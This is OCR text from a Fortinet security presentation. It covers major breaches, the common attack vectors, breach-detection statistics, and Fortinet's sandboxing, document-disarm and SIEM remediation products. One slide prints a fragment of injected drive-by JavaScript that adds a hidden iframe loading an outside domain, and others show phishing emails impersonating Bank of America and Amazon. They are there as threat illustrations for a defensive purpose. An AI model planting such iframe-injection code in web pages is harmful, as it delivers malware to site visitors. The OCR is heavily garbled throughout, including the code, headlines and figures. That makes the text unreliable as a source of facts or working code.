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The Evolving Threat Landscape o1

Giant Equifax data breach: 143 million
people could be affected >$1 BILLION

Equifax says a giant cybersecurity breach compromised the personal information of Source: FBI, 2016
as many as 143 million Americans — almost half the country
CNNtech | September 8, 2017: 9:23 AM ET - y 2017

Why ‘WannaCry’ Malware Caused Chaos for W 35X GrOWth
Natlonal Health Seerce n U K | Source: FortiGuard Labs, 2017

SELF PROPOGATE

Bad Rabbit: Game of Thrones- | aa Analysis
referencing ransomware hits Europe @& Service
NotPetya-style malware infects Kiev's metro system, Odessa airport and Russian

media, demanding bitcoin for decryption key .

The Guardian | Wednesday 25 October 2017 06.06 EDT s Ad a pt ive

~ | e — — M\ Malware
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Concern #1 The Enterprise Attack Surface is Broad

Top 5 Avenues for Crimeware

Email Attachment

Web drive-by

Email link

Download malware -
Network propagation -

Phishing
# 1 Malvertisement

Incident count
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Source: Verizon. 2016 Df;ta Breach Investigations Report. 2016.



What are the Most Common Threat Vectors?
All Rely on Social Engineering

EMAIL ATTACHMENT
m H2 0+ <) R ———

Add-Ins Adobe PDF

Message

SIS A ST T

Reply Reply Forward Delete Moveto Create |

to All Folder~ Rule A«
Respond Actions
From: Bank of America [auto.bot@verify.com]
To: undisclosed-recipients:
Cc
Subject: Yo i age!!
= Messa{!} restore account.html (965 B) >
\ /
To view your megl e, please download tF
Thank you
sondée. - A a

ERTINET

WEB-DRIVE-BY

if (document.getElementsByTagName( 'body') [0]) {
iframer();
} else {
var bdy =
try {
document.appendChild(bdy);
} catch (e) {
document.body =
}

if (document.getElementsByTagName('body') [0]) {
iframer();

document.createElement("body");

bdy;

} else {

document.Write("<iframe src='http://sativaon))ine.nt
style='vis? ity:hidden;position:absolutesfeft:0;1
}

}

function iframer() {

var T = document.creatg
f.setAttribute('src’',
f.style.visi. ';fT.st
® ';f.setAttribute(

iframe');
ivaonline.net/QQkf

10 ');f.setAttribute(’

height ',

10:4);
document.getElementsByTagName( '
body ') [@].appendChild(f);

} (index):37

EMAIL LINK

amazon

Due to a sytem error you were double charged |
process was initiated but could not be complete
information

REF CODE:2550CGE

You are required to provide us a valid billing adc

Click Here to Update Your Address

After your information has been validated you sl
business days
We hope to, jain soon.
Amazon.g
Email ID:
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Time To Discover a Breach
For the majority, TTD is too long and it is already too late!

Compromise

Most compromises K748
took minutes, or less [

Two-thirds went F7Y:T74
undiscovered

for months

or more

' Only 3% are

* discovered
- as quickly
Months Weeks Days Hours Minutes Minutes Hours Days Weeks Months
< Before the compromise Elapsed time After the compromise >

Verizon 2018 Data Breach Investigations Report
https://enterprise.verizon.com/resources/reports/DBIR_2018_Report_execsummary.pdf
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Cyber Skills Shortage

ISACA members who believe there is a shortage
of skilled cybersecurity professionals (%)
90% report skills shortage holding

87% I 87& 86% 85% 86% them back, up from 59% last year
UK USA

F:=:RTINET © Fortinet Inc. All Rights Reserved. 6

expect to increase team size

next year, compounding the issue

HARVEY
India LATAM Oceania  Globally NASH

The Power of Talent




Why Are the Criminals So Successful?

THEY HAVE
A COMMON GOAL

THEY TALK
to each other

THEY TRADE
with each other

They are
NOT LIMITED BY RULES

THEY INTEGRATE THEY SHARE
their tools together intellectual property
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FORTIGUARD LABS 2018

Since 2000, FortiGuard Labs has provided in-house, industry-leading security intelligence
and research, powering Fortinet’s platform and delivering a suite of advanced services

Industry Leading Patented Zero-day Research
Security Technology : = 500 0-days discovered (Q4'17)

Delivering Advanced Technologies
= _ FortiSandbox
Anti-Exploit Engine (FortiClient)

Delivering Intelligence Services
= CPRLAV, IPS, App Control, IP Reputation,
\) Web Filter, Anti-Spam, Web Security App,
Vulnerability Management
Virus Outbreak Service and Content Disarm &

Reconstruction
(FortiMail and FortiGate)

Published Research

= Quarterly Threat Report
= Bi-weekly Threat Brief

= Blogs

F:=:RTINET © Fortinet Inc. All Rights Reserved. 8



Automated Security Fabric

* Fortinet Automation

« Detect 0-day from unkown objects (files or
URLS)

* Reduce Time to Detection
« Mitigate the Threat
* NOC-SOC Integration

F:=:RTINET © Fortinet Inc. All Rights Reserved.



" F:=RTINET r
That 1s Fully Automated

o g CAF{BOI\‘IV
ATP Framework: Automated Intelligence Sharing and Response ZIften sLack
FortiGuard Labs

(i) Sentinelone
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e‘Za Block Objects

FortiGate/FtortiMaiI/FortiWeb/FortiADC/FortiProxy/ICAP Device

@ Quarantine Devices
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Virus Outbreak Service (VOS)
with FortiSandbox

« Whatitis
« Real-time emerging threat signature database
« Up-to-date protection vs traditional AV updates
» Applies to FortiGate and FortiMalil
* Benefits
* Reduces detection time of latest known malware
 Including FortiSandbox pre-filter stage
« How does FortiSandbox compliment this service
« Detects Zero-day/Unknown Malware
* Newly acquired intelligence contributes to VOS service

FRTINET
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Content Disarm & Reconstruct (CDR)
with FortiSandbox

« Whatitis
 Strips active content (scripts, macros, etc) from Office and Adobe documents
* Benefits

« Eliminates the possibility of infection via documents

» Real-time document disarmament with no delay

* How does FortiSandbox complement this service
* Analyze the original documents to identify breach attempts

« Detects Zero-day/Unknown executable malware

FRTINET
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FortiISIEM Remediations Library

F&
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»

»

»

»

»

»

»

»

»

Reports

Rules

Networks

Watch Lists
Protocols

Event Types
Malware Domains
Malware IPs
Malware URLs
Malware Processes
Country Groups
Malware Hash
Default Password
Anonymity Network

User Agents

~
[53

& DASHBOARD s ANALYTICS

Resources > Remediations

New

Name

Add IP FortiCache

Block Domain InfoBlox
Block Domain Windows DNS
Block Email FortiMail

Block IP Cisco ASA

Block IP FortiOS 5.3

Block IP FortiOS 5.4

Block IP FortiOS API

Block IP FortiWeb

Block IP PAN

Block MAC FortiOS

Deauth User ArubaOS

Summary [ Auto expand

Copyright © 2019 Fortinet, Inc, All rights reserved.
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Clone

& INCIDENT

Il CASE

Q | Search...

Device Type

Fortinet FortiCache
InfoBlox NiOS
Microsoft Windows
Fortinet FortiMail
Cisco ASA

Fortinet FortiOS
Fortinet FortiOS
Fortinet FortiOS
Fortinet FortiWeb
Palo Alto PAN-0OS

Fortinet FortiOS

Aruba ArubaOS WLAN Controller

Organization: Super User: admin

CMDB Ll RESOURCE

Script Name

forticache_add_ip.py
infoblox_dns_block_domain.py
windows_dns_block_domain.py
fortimail_block_mail.py
cisco_asa_block_ip.py
fortigate_block_ip_before_5.4.py
fortigate_block_ip_after_5.4.py
fortigate_block_ip_with_api.py
fortiweb_block_ip.py
paloalto_block_ip.py

fortigate_block_mac.py

aruba_deauth_mac.py

Scope: Local

&7 ADMIN

Protocol

SSH
HTTPS
MS_WMI
HTTPS
SSH

SSH

HTTPS
HTTPS
SSH

SSH

SSH

M

Q

Description

Add IP

Block a domain on Infoblox

Block a domain on Windows DNS

Block Email Address

Block IP on Cisco ASA

Block IP on FortiGate

Block IP on FortiGate

Block IP on FortiGate

Block IP

Block IP on Palo Alto Firewall

Block IP on FortiGate

Deauth a user on Aruba WLAN
Controller

Powered by AccelOps, A Fortinet Company 5.2.1 (1553)
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Scope

System
System
System
System
System
System
System
System
System
System

System

System



NOC-SOC VIEW

+ AddWidget [ Dashboard v & Refresh

User Data Flow - Last 1 Hour (23:20:25 - 00:20: & m Top Country/Region - Last 1 Hour (23:20:25 - 00:20:25) & m
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10.100.92.15 " Apt-Get
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10.100.92.3 Dﬁs St ermany

Top Sources Today

Total 41,015 traffic sessions (40,969 Allowed / 46 Blocked) discovered
Allowed Blocked

P AR L SR T TN T «":A" @ E7 7 ol T MReed Kelly (10:100.94115) 33,631
. o “Erin Dominguez (10.100.93.20) 1,656

Kiran Herman (10.100.92.3) 133

Sam Kennedy (10.100.92.4) §-= 134
Cameron Chambers (10.100.92.2) §} 129
Caden Burton (10.100.92.6) 2= 135

- 10.100.92.5 131

Danny Dorsey (10.100.92.12) = 133
Jody Mcpherson (10.100.92.1) = 115
Casey Harper (10.100.92.13) ¥= 123
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Where is it Going ?

AN

IMPROVED VENDOR
COMMUNICATION

Q

BETTER
COMMUNICATION

SEAMLESS INTEGRATION
WITH INDIVIDUAL SYSTEMS

MORE INTELLIGENT
SYSTEMS

=
[

0 INTERWOVEN SOLUTIONS
PROVIDING INTELLIGENT
IMPROVED ACCURATE REPORTING
INTELLIGENCE
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The Solution: Fortinet Security Fabric

MANAGEMENT-ANALYTICS

PARTNER API MULTI-CLOUD

BROAD
INTEGRATED = @
AUTOMATED

UNIFIED ACCESS

ADVANCED THREAT PROTECTION
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